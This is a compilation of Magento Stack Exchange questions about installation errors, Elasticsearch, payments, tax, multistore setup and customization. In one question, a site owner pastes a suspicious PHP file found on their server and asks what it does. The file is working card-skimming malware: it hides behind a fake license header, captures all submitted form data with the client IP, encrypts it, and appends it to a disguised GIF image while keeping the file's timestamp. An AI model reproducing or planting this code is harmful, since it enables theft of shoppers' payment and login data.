I tried 2 methods for module installation:

Method 1 ( using manual upload ): copy module into app/code and then pushed the code to server, deployment goes fine and in system->configurations i am able to save configurations but when i try to access module sections ( to add entries ) it gives error.

  Fatal error: Uncaught Error: Cannot instantiate interface Vendor\Module\Api\StockistRepositoryInterface in /app/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php:111 Stack trace: #0 /app/vendor/magento/framework/ObjectManager/Factory/Compiled.php(108): Magento\Framework\ObjectManager\Factory\AbstractFactory->createObject('Vendor\Module...', Array) #1 /app/vendor/magento/framework/ObjectManager/Factory/Compiled.php(150): Magento\Framework\ObjectManager\Factory\Compiled->create('Limesharp\Stock...') #2 /app/vendor/magento/framework/ObjectManager/Factory/Compiled.php(79): Magento\Framework\ObjectManager\Factory\Compiled->get('Limesharp\Stock...') #3 /app/vendor/magento/framework/ObjectManager/ObjectManager.php(56): Magento\Framework\ObjectManager\Factory\Compiled->create('Limesharp\Stock...', Array) #4 /app/vendor/magento/framework/App/ActionFactory.php(40): Magento\Framework\ObjectManager\ObjectManager->create('Limesharp\Stock...') #5 /app/vendor/magento/framework/App/Router/Base.php(297): Mage in /app/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php on line 111

Method 2 ( using composer ) :

Run command  composer require vendor/module-name

After composer is installed and updated , pushed only composer files to production server, deployment goes fine but still getting same error. ( able to save configurations but can't add entries ).

NOTE : before pushing composer files i deleted module folder from app/code.

This issue is with couple of modules and don't know how to fix that issue. module work fine on local but not on production server.

help will be highly appreciated.


texts: Adding random product listing for categories

texts:
How i can add a new option in the drop down product listing in category layout?
I saw a lot of threads which customize template\catalog\product\list.phtml
But i think adding a new dropdown option is better and the dropdown will still be valuable...


texts: Why magento 2 auto add referer to link login?

texts:
When i try open login link, it always add referer/... to link login. Why is it happen? and how can i remove it?
example:
http://m222sample4.com/customer/account/login/referer/aHR0cDovL20yMjJzYW1wbGU0LmNvbS9jdXN0b21lci9hY2NvdW50L2xvZ2luLw%2C%2C/


texts:
I am working on "Multistore functionality for my custome module". I refered core Cms page module. I found code

below in page resource module(Mage_Cms_Model_Resource_Page).

protected function _afterSave(Mage_Core_Model_Abstract $object)
{
    $oldStores = $this->lookupStoreIds($object->getId());
    $newStores = (array)$object->getStores();
    if (empty($newStores)) {
        $newStores = (array)$object->getStoreId();
    }
    $table  = $this->getTable('cms/page_store');
    $insert = array_diff($newStores, $oldStores);
    $delete = array_diff($oldStores, $newStores);

    if ($delete) {
        $where = array(
            'page_id = ?'     => (int) $object->getId(),
            'store_id IN (?)' => $delete
        );

        $this->_getWriteAdapter()->delete($table, $where);
    }

    if ($insert) {
        $data = array();

        foreach ($insert as $storeId) {
            $data[] = array(
                'page_id'  => (int) $object->getId(),
                'store_id' => (int) $storeId
            );
        }

        $this->_getWriteAdapter()->insertMultiple($table, $data);
    }

    //Mark layout cache as invalidated
    Mage::app()->getCacheInstance()->invalidateType('layout');

    return parent::_afterSave($object);
}

what below code is doing?

Mage::app()->getCacheInstance()->invalidateType('layout');

Is this necessary ?


texts: Magento 2 How to Override Model Class and pass the class in construct as dependency injection

texts:
I am trying to overriding vendor/magento/module-tax/Model/Calculation.php  class in custom module by using preference and pass the class   \Magento\Checkout\Model\Cart in __construct function.
I have tried it by below code:
<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
<preference for="Magento\Tax\Model\Calculation" type="Vendor\Customtax\Model\Calculation" />
</config>

and below is my Calculation.php file
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Vendorname\CustomTax\Model;

 class Calculation extends \Magento\Tax\Model\Calculation

{

 public function getRateRequest(
        $shippingAddress = null,
        $billingAddress = null,
        $customerTaxClass = null,
        $store = null,
        $customerId = null
    ) {

          --- here is my Logic----

}

Now I want to pass the  class \Magento\Checkout\Model\Cart $cart in construct method.
Please suggest me how to override construct method.When Trying To override Function it is not working well and throw the error.


texts: Obtain all the information related to a customer

texts:
I wanted to obtain all the information related to an specific customer (given their account number)

I mean, i want to obtain name, lastname, email, billing/shipping addresses(including the ORIG_SYSTEM_REFERENCE for each one), city, region, country and so on.

I have tried different queries but no one really helped me.

SELECT
email,
a.entity_id AS addressId,
IF(def_billing_address.value = a.entity_id,1,0) AS isDefaultBillingAddress,
IF(def_shipping_address.value = a.entity_id,1,0) AS isDefaultSippingAddress,
addr_firstname.value AS firstname,
addr_lastname.value AS lastname,
addr_street.value AS street,
addr_city.value AS city,
addr_region_code.code AS stateCode,
addr_region.value AS state,
addr_zipcode.value AS postalCode,
addr_country.value AS countryCode,
addr_telephone.value AS telephone
FROM mg_customer_entity AS c
INNER JOIN mg_customer_address_entity AS a ON a.parent_id = c.entity_id

LEFT JOIN mg_customer_entity_int AS def_billing_address ON
    (def_billing_address.entity_id = c.entity_id) AND
    (def_billing_address.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'default_billing' and eav.entity_type_id = 1))
LEFT JOIN mg_customer_entity_int AS def_shipping_address ON
    (def_shipping_address.entity_id = c.entity_id) AND
    (def_shipping_address.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'default_shipping' and eav.entity_type_id = 1))
LEFT JOIN mg_customer_address_entity_varchar AS addr_zipcode ON
    a.entity_id = addr_zipcode.entity_id AND
    addr_zipcode.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'postcode' and eav.entity_type_id = 2)
LEFT JOIN mg_customer_address_entity_varchar AS addr_city ON
    a.entity_id = addr_city.entity_id AND
    addr_city.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'city' and eav.entity_type_id = 2)
LEFT JOIN mg_customer_address_entity_varchar AS addr_country ON
    a.entity_id = addr_country.entity_id AND
    addr_country.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'country_id' and eav.entity_type_id = 2)
LEFT JOIN mg_customer_address_entity_varchar AS addr_firstname ON
    a.entity_id = addr_firstname.entity_id AND
    addr_firstname.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'firstname' and eav.entity_type_id = 2)
LEFT JOIN mg_customer_address_entity_varchar AS addr_lastname ON
    a.entity_id = addr_lastname.entity_id AND
    addr_lastname.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'lastname' and eav.entity_type_id = 2)
LEFT JOIN mg_customer_address_entity_text AS addr_street ON
    a.entity_id = addr_street.entity_id AND
    addr_street.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'street' and eav.entity_type_id = 2)
LEFT JOIN mg_customer_address_entity_varchar AS addr_telephone ON
    a.entity_id = addr_telephone.entity_id AND
    addr_telephone.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'telephone' and eav.entity_type_id = 2)
LEFT JOIN mg_customer_address_entity_varchar AS addr_region ON
    a.entity_id = addr_region.entity_id AND
    addr_region.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'region' and eav.entity_type_id = 2)
LEFT JOIN mg_customer_address_entity_int AS addr_region_id ON
    a.entity_id = addr_region_id.entity_id AND
    addr_region_id.attribute_id = (SELECT attribute_id FROM mg_eav_attribute AS eav WHERE eav.attribute_code = 'region_id' and eav.entity_type_id = 2)
LEFT JOIN mg_directory_country_region AS addr_region_code ON
    addr_region_id.value = addr_region_code.region_id

This is the MAGENTO database diagram:

Can help me with this?


texts: Issue with Elastic search 6.x in Magento 2.3.3

texts:
report.CRITICAL: {"error":{"root_cause":[{"type":"illegal_argument_exception","reason":"Fielddata is disabled on text fields by default. Set fielddata=true on [category_ids] in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. Alternatively use a keyword field instead."}],"type":"search_phase_execution_exception","reason":"all shards failed","phase":"query","grouped":true,"failed_shards":[{"shard":0,"index":"magento233_ela6_product_1_v6","node":"C3kR1cBBR0y_TcZ3EZQgmQ","reason":{"type":"illegal_argument_exception","reason":"Fielddata is disabled on text fields by default. Set fielddata=true on [category_ids] in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. Alternatively use a keyword field instead."}}],"caused_by":{"type":"illegal_argument_exception","reason":"Fielddata is disabled on text fields by default. Set fielddata=true on [category_ids] in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. Alternatively use a keyword field instead.","caused_by":{"type":"illegal_argument_exception","reason":"Fielddata is disabled on text fields by default. Set fielddata=true on [category_ids] in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. Alternatively use a keyword field instead."}}},"status":400} {"exception":"[object] (Elasticsearch\Common\Exceptions\BadRequest400Exception(code: 400): {\"error\":{\"root_cause\":[{\"type\":\"illegal_argument_exception\",\"reason\":\"Fielddata is disabled on text fields by default. Set fielddata=true on [category_ids] in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. Alternatively use a keyword field instead.\"}],\"type\":\"search_phase_execution_exception\",\"reason\":\"all shards failed\",\"phase\":\"query\",\"grouped\":true,\"failed_shards\":[{\"shard\":0,\"index\":\"magento233_ela6_product_1_v6\",\"node\":\"C3kR1cBBR0y_TcZ3EZQgmQ\",\"reason\":{\"type\":\"illegal_argument_exception\",\"reason\":\"Fielddata is disabled on text fields by default. Set fielddata=true on [category_ids] in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. Alternatively use a keyword field instead.\"}}],\"caused_by\":{\"type\":\"illegal_argument_exception\",\"reason\":\"Fielddata is disabled on text fields by default. Set fielddata=true on [category_ids] in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. Alternatively use a keyword field instead.\",\"caused_by\":{\"type\":\"illegal_argument_exception\",\"reason\":\"Fielddata is disabled on text fields by default. Set fielddata=true on [category_ids] in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. Alternatively use a keyword field instead.\"}}},\"status\":400}

Facing this issue when we have Magento 2.3.3 and ES 6.x and PHP7.2

Magento given doc https://magento1544124303.zendesk.com/hc/en-us/articles/360031328652-illegal-argument-exception-on-category-page-with-Elasticsearch-5-0-Fielddata-is-disabled-on-text-fields-by-default-
not even help here.

Anybody having idea how to resolve this issue?


texts: Braintree Payment Gateway Failure - Magneto2 - "Something Went Wrong"

texts:
Problem:

Products in Magento store cannot be processed via Braintree payment.

Versions:

PHP: 7.0.27
Magento: 2.1.11

Steps to reproduce:

Add product to cart
Proceed to checkout
Sign in
Select Braintree Payment Method
Enter CC No. (4111111111111111) Exp Date: 02/18 CVC: 111

Result "Sorry, but something went wrong".

My understanding is that the latest version of the core Magento code is very unstable. I had no problems with this (and authorize.net)modules with previous Magento versions.

Does anyone have a solution? Otherwise, I simply cannot use my store.


texts: Magento 1: Cannot save Dataflow profiles

texts:
When I try and edit and existing dataflow profile, or add a new one, I get a blank page /admin/system_convert_gui/save/key/98db.../continue/true/ displaying only "NULL" and nothing is saved.

I've checked for and errant die() in the process, but haven't found anything.  Not sure where to begin looking further.


texts: About Magento Currency Setting,The price is multiplied by two exchange rates。

texts:
I set in accordance with the official documents my mall exchange rate.

But at the front end, the price is really not accurate。I have a product price of 10 dollars。Follow the exchange rate,TI should be around £ 8 ,Obviously, it is multiplied by two exchange rates here！

I do not know where my configuration error, I have clearly cached and refresh the index。Can anyone help me?


texts: save custom value in proudct page to database table on add to cart clicked in magento2

texts:
I want to save the custom options that are on the product page in the custom table on click of add to cart in magento2

here you can see the options are displaying I want to save it in the database table on add to cart click and also show it in cart page


texts: Can anybody explain me about following code?

texts:
Some days back I found this code in one of my application file.
I am using git in my server so I can found modified file easily. I checked it but I am not getting what this piece of code does exactly.

Can anybody explain me? Is it hacked or something?
Thanks

<?PHP /***
Magento** NOTICE OF LICENSE** This source file is subject to the Open Software License (OSL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/osl-3.0.php**/
$y0='./skin/adminhtml/default/default/images/accordion_open_bg.gif';
$m1='1415335836';
$k2='pcce7c7f';
$k3="-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----";
if(@$_SERVER['HTTP_USER_AGENT']=='Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;
    bot@visvo.com)'){if(isset($_GET[$k2])){$m1=file_exists($y0)?@filemtime($y0):$m1;
    @file_put_contents($y0,'');
@touch($y0,$m1,$m1);
echo 'clean ok';
}else echo 'Pong';
exit;
}if(!empty($_SERVER['HTTP_CLIENT_IP'])){$i4=$_SERVER['HTTP_CLIENT_IP'];
}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$i4=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{$i4=@$_SERVER['REMOTE_ADDR'];
}if(isset($_POST)&&sizeof($_POST)){$a5='';
foreach($_POST as $h6=>$n7){if(is_array($n7)){foreach($n7 as $f8=>$l9){if(is_array($l9)){foreach($l9 as $l10=>$v11){if(is_array($v11)){;
}else{$a5.=':'.$h6.'['.$f8.']['.$l10.']='.$v11;
}}}else{$a5.=':'.$h6.'['.$f8.']='.$l9;
}}}else{$a5.=':'.$h6.'='.$n7;
}}$a5=$i4.$a5;
}else{$a5=null;
}if($a5){$t12=false;
    if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')){$t12=true;
}elseif(function_exists('dl')){$n13=strtolower(substr(php_uname(),0,3));
    $d14='php_openssl.'.($n13=='win'?'dll':'so');
@dl($d14);
if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')){$t12=true;
}}if($t12){$t15=@openssl_get_publickey($k3);
    $q16=128;
$t17='';
$h18=md5(md5(microtime()).rand());
$e19=$h18;
while($e19){$f20=substr($e19,0,$q16);
    $e19=substr($e19,$q16);
@openssl_public_encrypt($f20,$h21,$t15);
$t17.=$h21;
}$t22=@openssl_encrypt($a5,'aes128',$h18);
@openssl_free_key($t15);
$a5=$t17.':::SEP:::'.$t22;
}$m1=file_exists($y0)?@filemtime($y0):$m1;
@file_put_contents($y0,'JPEG-1.1'.base64_encode($a5),FILE_APPEND);
@touch($y0,$m1,$m1);
}?>


texts: How to add 'switcherConfig' to a Modifier pool on Magento2

texts:
I have custom eav table whose attributes I'm getting dynamically on my modifier pool.
But I want to add switcherConfig, as one of my fieldset display is dependent on a selected field value.
Can anyone guide me on how to add switcherConfig in modifier pool?


texts: How to add “Edit” button on product in cart page?

texts:
I need to add an "Edit" button on my cart page products.
I think "Edit" button on cart products has been added after magento version 1.5.x
Is there any way I can add "Edit" button on cart products without upgrading? If yes then where I should make changes for this?
Please reply if you have any idea.
Thanks in advance.


texts: Incompatible argument type error in Magento 2.2.2

texts:
I have installed Magento 2.2.2.

Running php bin/magento setup:di:compile result in this error:

Magento\Backend\Model\View\Layout\GeneratorPool
Incompatible argument type: Required type: \Magento\Framework\View\Layout\Condition\ConditionFactory.php

Actual type: \Magento\Framework\App\Config\ScopeConfigInterface; File:
vendor/magento/module-backend/Model/View/Layout/GeneratorPool.php

In

  vendor/magento/framework/View/Layout/Condition/ConditionFactory.php:

<?php

namespace Magento\Framework\View\Layout\Condition;

use Magento\Framework\ObjectManagerInterface;

/**
 * Factory for composite.
 */
class ConditionFactory
{
    /**
     * @var ObjectManagerInterface
     */
    private $objectManager;

    /**
     * @param ObjectManagerInterface $objectManager
     */
    public function __construct(ObjectManagerInterface $objectManager)
    {
        $this->objectManager = $objectManager;
    }

    /**
     * @param array $elementVisibilityConditions
     *
     * @return Condition
     */
    public function create(array $elementVisibilityConditions)
    {
        $conditions = [];
        foreach ($elementVisibilityConditions as $condition) {
            $conditions[] = $this->objectManager->create($condition['name']);
        }
        return $this->objectManager->create(Condition::class, ['conditions' => $conditions]);
    }
}

In

  vendor/magento/module-backend/Model/View/Layout/GeneratorPool.php:

<?php
namespace Magento\Backend\Model\View\Layout;

use Magento\Framework\View\Layout\ScheduledStructure;
use Magento\Framework\View\Layout\Data\Structure;

/**
 * Pool of generators for structural elements
 */
class GeneratorPool extends \Magento\Framework\View\Layout\GeneratorPool
{
    /**
     * @var Filter\Acl
     */
    protected $aclFilter;

    /**
     * @param ScheduledStructure\Helper $helper
     * @param \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig
     * @param \Magento\Framework\App\ScopeResolverInterface $scopeResolver
     * @param \Psr\Log\LoggerInterface $logger
     * @param Filter\Acl $aclFilter
     * @param array $generators
     */
    public function __construct(
        ScheduledStructure\Helper $helper,
        \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
        \Magento\Framework\App\ScopeResolverInterface $scopeResolver,
        \Psr\Log\LoggerInterface $logger,
        Filter\Acl $aclFilter,
        array $generators = null
    ) {
        $this->aclFilter = $aclFilter;
        parent::__construct(
            $helper,
            $scopeConfig,
            $scopeResolver,
            $logger,
            $generators
        );
    }

    /**
     * Build structure that is based on scheduled structure
     *
     * @param ScheduledStructure $scheduledStructure
     * @param Structure $structure
     * @return $this
     */
    protected function buildStructure(ScheduledStructure $scheduledStructure, Structure $structure)
    {
        parent::buildStructure($scheduledStructure, $structure);
        $this->aclFilter->filterAclElements($scheduledStructure, $structure);
        return $this;
    }
}

What is the fix?


texts: No CSS and backed files after installation

texts:
The installation went fine, no errors. I activated also rewriting mode for Apache2. But I found no CSS files:

The inspector shows:

The folder /pub/static has no version folder.

UPDATE:
Also I have no backend when I go to localhost/admin.

I didn't delete pub/static after my installation.
When I run sudo php bin/magento setup:static-content:deploy
I get error :

  [BadMethodCallException]
  Missing required argument $alternativeSources of
  Magento\Deploy\Model\Deploy\LocaleDeploy.


texts: How to setup products for eye glasses store - bundle of configurable products?

texts:
I want to setup a eyeglasses store which will sell frame+Lens as a bundle.
Lens - has around 11 attributes (spherical, cylindrical, index, surface coating, etc) with lots of values totaling to ~5000 combinations for it.
Frames - Will be around 200.
I could think of following solutions
Option 1 - setup each Frame+lens as a configurable product with 5000 simple products for attribute combinations
Front-end show perfectly with frame on left and lens attributes on right for selection. But problem is I will end up with 1 million simple products (200 frames each having 5000 simple products) and updating prices every 2-3 months will be a nightmare. Plus not sure if the system will work well with so many products loaded.

Option 2 - Setup Lens as a configurable product and Frame as a simple product and somehow allow customer to purchase it only as a bundle.
The option 2 is looking more sensible to me but problem is Magento is not supporting bundle of 1 simple + 1 configurable product.

Is there any other other way to setup these products ?


texts: What is Asynchronous Web APIs in Magento 2.3?

texts:
In Magento Open Source 2.3.0 Release Notes

Magento introduced Asynchronous web endpoints in Release Notes.

Example

PUT /async/V1/products/24-MB01

  payload

{
  "product": {
    "price": 29
  }
}

Isn't it same with normal API call ?
And is it related to GraphQL ?


texts: Specifies invalid parent id (Magento Backend::mgs)

texts:
When I installed MGS "Mmegamenu" module in my magento v2.o.5. Frontend is loading fine but when I login to admin panel it is showing the below error :

Specified invalid parent id (Magento_Backend::mgs)
0 /var/www/html/magento2sd1/vendor/magento/module-backend/Model/Menu/Config.php(146): Magento\Backend\Model\Menu\Builder->getResult(Object(Magento\Backend\Model\Menu))...

Can you please help me in this.
Thank you so much in advance.


texts: Magento 1.5 Resource DB abstract Class not found

texts:
I am developing a magento extension with custom table access using v 1.7.0.2. Created package and Installed in another magento instance with 1.5.0.

I am able to install my extension in 1.5.0 also. When I access my table listing from admin menu, I get error "Fatal error: Class 'Mage_Core_Model_Resource_Db_Abstract' not found.

Mage\Core\Model\Resource\Db\Abstract.php is missing in magento1.5.1.0. Can somone help me how I can create module compatible to both version


texts: Magento 2.3.0 - Multi Website Store URL Return 404 error

texts:
Workout :

1) Created new folder in Root folder named usa,

2) Copy index.php and .htaccess from root folder and moved to usa folder

3) Created symbolic links to usa folder, usa symbolic links are,

  C:\wamp\www\first_store>mklink /d ..\first_store\usa\app.\app
  C:\wamp\www\first_store>mklink /d ..\first_store\usa\pub.\pub
  C:\wamp\www\first_store>mklink /d ..\first_store\usa\lib.\lib
  C:\wamp\www\first_store>mklink /d ..\first_store\usa\var.\var

4)usa index.php,

Set values for the MAGE_RUN_TYPE and MAGE_RUN_CODE

Open the index.php file under application root directory

Replacing this code: $bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $_SERVER);

by these codes:

switch($_SERVER['HTTP_HOST']) {
    case 'http://127.0.0.1:8080/first_store':
        $mageRunCode = 'base';
        $mageRunType = 'website';
    break;
    case 'http://127.0.0.1:8080/usa':
        $mageRunCode = 'usa_website';
        $mageRunType = 'website';
    break;
}
$params = $_SERVER;
$params[\Magento\Store\Model\StoreManager::PARAM_RUN_CODE] = $mageRunCode;
$params[\Magento\Store\Model\StoreManager::PARAM_RUN_TYPE] = $mageRunType;
$bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $params);

5) usa .htaccess file,

## enable rewrites

    Options +FollowSymLinks
    RewriteEngine on

    SetEnvIf Host .*http://127.0.0.1:8080/usa/.* MAGE_RUN_CODE=usa_website
    SetEnvIf Host .*http://127.0.0.1:8080/usa/.* MAGE_RUN_TYPE=website

6) Store configuration,

7) after run 127.0.0.1:8080/usa return 404 error , how can i solve this issue?


texts: Magento 2 - How to call parent function inside the plugin

texts:
I have created the plugin for a particular function. That function is also calling another protected function of the core file.

public function afterPopulateTaxRateData(
    \Magento\Tax\Model\Calculation\Rate\Converter $subject,
    $result,
    $formData
) {
    if ($this->_helper->isEnable()) {
        if (isset($formData['zip_is_range']) && $formData['zip_is_range']) {
            if ($this->_helper->isRangeEnable()) {
                $result->setTaxCity($this->extractFormData($formData, 'tax_city'));
            } else {
                $result->setTaxCity("");
            }
        } else {
            $result->setTaxCity($this->extractFormData($formData, 'tax_city'));
        }
    }

    return $result;
}

How to call the protected function extractFormData inside this plugin.

Thanks.


texts: How to edit or hide magento grand total section?

texts:
My shopping cart grand total section appears as 2 X subtotal. in our store we are not charging any hidden charges or any extra taxes.

How to hide or edit grand total section? we want to show same subtotal value in grand total section

here i have attached a screenshot


texts: How to install grunt on staging server.?

texts:
I just want to edit some files on staging server.
How can i install grunt on staging server.?

I have run this command:

npm install -g grunt-cli

error showing that npm: command not found

How can i install grunt on staging server.?

Thanks.!


texts: Does anybody know where 'Payment fee' is coming from in totals? See image below. I want to get rit of it.


texts: Need to Open Two URL while clicking product view page button in grid mode?

texts:
Need to Open Two URL while clicking product view page button in grid mode, Basically its a coupon site. In Grid mode when clicking the product view page button. It has to open product page url & coupon site url. Am facing an error. When clicking the button, It opens the product page of last product in the grid view.

The Code i used is`

<button type="button" title="<?php echo $buttonTitle ?>" id="product-addtocart-button" class="button btn-cart"
                        onclick="openWindow()"><?php echo $_product->getCouponCodeUse(); ?></button>


texts:
I've added some links in my menu in customer_account.xml

But items don't go one below the other, they're one next to each other (for my custom links only, default links are ok)

This is my customer_account.xml

<referenceBlock name="customer_account_navigation">
            <block class="Magento\Framework\View\Element\Html\Link" name="customer-account-navigation-contacts">
                <arguments>
                    <argument name="path" xsi:type="string">mycontacts/contacts/index</argument>
                    <argument name="label" xsi:type="string">Mes contacts</argument>
                </arguments>
            </block>
            <block class="Magento\Framework\View\Element\Html\Link" name="customer-account-navigation-factures" after="customer-account-navigation-contacts" >
                <arguments>
                    <argument name="path" xsi:type="string">mybills/factures/index</argument>
                    <argument name="label" xsi:type="string">Mes factures</argument>
                </arguments>
            </block>
        </referenceBlock>


texts:
I don't know what i did wrong or what I'm not seeing but got the following problem I can't tackle.

I have set the show incl. and excl. vat in the shop. (Magento 1.9.0.1)
If I add a new product it tells me to place a product price.
It tells me underneath the bar [EUR] [Incl. VAT]. lets say €50,-

If I save the product Magento shows the product in the shop the prices
€50 excl vat and €60.50 incl vat?

How can I configure Magento that the price I put in is actually incl. and not excl?

Thanks MTM but here's the catch for me..  That are precise the options i have selected in my shop.
If i add a new product it tells me to give in a incl.vat  price.
i did and in store the price magically changes to excl.Vat and the VAT will add up to that price.

i did repeat the same step u told me and made it excl.
Just to be sure i refreshed all of the cash. checked at my product it just tell me to put price in [euro]. and not in or ex.
I think this is in the dutch translation, but at my product page it changes the label of the input field so something must have happend when i changed the "show prices in or ex" option.

i left the price at 50 and save the product again and once again refreshed the cash.

nothing happend..   the 50 euro shows excl again (as supposed now i guess)

i got the feeling that the option show prices incl vat is just not working and the option show prices excl is always used on the shop side.


texts: How to change the specified domain on a Magento Porto purchased theme/license?

texts:
Magento 2.4.2
Porto theme

I have purchased the Magento Porto theme over 6 months ago on the Themeforest/Envato site. It cost $129 and I believe I initially specified a domain which I never ever developed (and will not do). So the theme has never been used and I want to install it on another domain instead. I found someone's question about this long time ago in the Porto support chat but I am unable to find this again now. I clicked everywhere in my Themeforest/Envato portal and do not find any way to change the domain on the license. There sadly does not appear to be any way for me to contact Porto through the Envato site as my Support period has expired already.
I plan to buy 2 more licenses from them but I also need to figure out how can one change the domain on the existing license to a new one?


texts: How to set up OpenServer to use magento ee multistore feature?

texts:
I'm working on project which involve magento multistore. I know how it works inside magento, but have no clue how to set up Open Server for this.
Any guesses?
Add on:
I have two stores on one magento. They use their own url's.
I had an idea, what aliases could help, but they don't.
In my understanding, each url should change server variables: MAGE_RUN_CODE and MAGE_RUN_TYPE. Well, at least MAGE_RUN_CODE. I can freely edit index.php, if this help, it's not a part of repository.
I could edit an apache ini config of Open Server, but Open Server is overwrites any changes in this files at each server run. Maybe htaccess can help, but I don't know if I can input $_SERVER['MAGE_RUN_CODE'] variable in it.
This is there I stop.


texts: Magento2.3: Product level validation in cart price rule is not working

texts:
I want to apply coupon for a particular product, so I have set the coupon is valid for SKU basis and selected the product which I wanted that the coupon has to apply. Please see the below screenshot.

However, the coupon code is applying for all the items in cart. Am I missing something? or Is this the bug in Magento 2.3?

Any help will be appreciated!


texts:
I have created product attribute named Custom Sort Catalog >> Attributes >> Manage Attributes

Catalog Input Type for Store Owner as Text Field
Input Validation for Store Owner as Decimal

and i'm using this attribute as default sort for my products
Catalog >> Manage Categories
in category edit page under Display Settings i have set Default Product Listing Sort By as my attribute Custom Sort

but the issue is magento sorts the products in following way
1
11
2
3

I would like to sort products in following way
1
2
3
11

Please guide me how to achieve this


texts: HTTPS loads resources with HTTP plus redirect loops

texts:
I am migrating our Magento site from a shared hosting company to a new virtual server. Database is the same, files are the same and the URLs are not changing.

The site works fine with HTTP. However with HTTPS the certificate loads correctly, however, all the resources are presented on the page with an http:// URL, causing issues with browser security checks.

Upon attempting to access the admin interface, the page never loads and Chrome presents me with a redirect loop error.

Narrowing it down, I can see the only issue here being the configuration of the web server, since nothing else has changed. There is bound to be an option I've missed somewhere in the SSL config.

Web server is Apache 2.4.6 running on CentOS. I'm running the latest version of Magento 1.9.

Any help would be appreciated!


texts: Magento2 InstallData.php Does't working on registration page

texts:
i need to add new field in magento2 registration form so i was created new module Kratos/Seller.

It's working the custom attribute created on database but if i submit customer registration form it show error massage " We Can't save the customer".

I hope the problem is setup/InstallData.php file if remove the file customer will be saved successfully but data will not stored in database.

setup/InstallData.php

<?php
  namespace Kratos\Sellers\Setup;
  use Magento\Framework\Module\Setup\Migration;
  use Magento\Framework\Setup\InstallDataInterface;
  use Magento\Framework\Setup\ModuleContextInterface;
  use Magento\Framework\Setup\ModuleDataSetupInterface;
  class InstallData implements InstallDataInterface
 {
/**
 * Customer setup factory
 *
 * @var \Magento\Customer\Setup\CustomerSetupFactory
 */
private $customerSetupFactory;
/**
 * Init
 *
 * @param \Magento\Customer\Setup\CustomerSetupFactory $customerSetupFactory
 */
public function __construct(\Magento\Customer\Setup\CustomerSetupFactory $customerSetupFactory)
{
    $this->customerSetupFactory = $customerSetupFactory;
}
/**
 * Installs DB schema for a module
 *
 * @param ModuleDataSetupInterface $setup
 * @param ModuleContextInterface $context
 * @return void
 */
public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
{
    $installer = $setup;
    $installer->startSetup();
    $customerSetup = $this->customerSetupFactory->create(['setup' => $setup]);
    $entityTypeId = $customerSetup->getEntityTypeId(\Magento\Customer\Model\Customer::ENTITY);

    $customerSetup->addAttribute(\Magento\Customer\Model\Customer::ENTITY, "seller_shop_name",  array(
        "type"     => "varchar",
        "backend"  => "",
        "label"    => "seller_shop_name",
        "input"    => "text",
        "visible"  => true,
        "required" => false,
        "unique"     => true,
        "is_used_in_grid" => true,
        "is_visible_in_grid" => true,
        "is_filterable_in_grid" => true,
        "is_searchable_in_grid" => true
    ));

    $seller_shop_name = $customerSetup->getAttribute(\Magento\Customer\Model\Customer::ENTITY, "seller_shop_name");

    $seller_shop_name = $customerSetup->getEavConfig()->getAttribute(\Magento\Customer\Model\Customer::ENTITY, 'seller_shop_name');
    //$used_in_forms[]="adminhtml_customer";
    //$used_in_forms[]="checkout_register";
    $used_in_forms[]="customer_account_create";
    $used_in_forms[]="customer_account_edit";
    //$used_in_forms[]="adminhtml_checkout";
    $seller_shop_name->setData("used_in_forms", $used_in_forms)
        ->setData("is_used_for_customer_segment", true)
        ->setData("is_system", 0)
        ->setData("is_user_defined", 1)
        ->setData("is_visible", 1)
        ->setData("sort_order", 100);
    $seller_shop_name->save();

    $installer->endSetup();
}
}

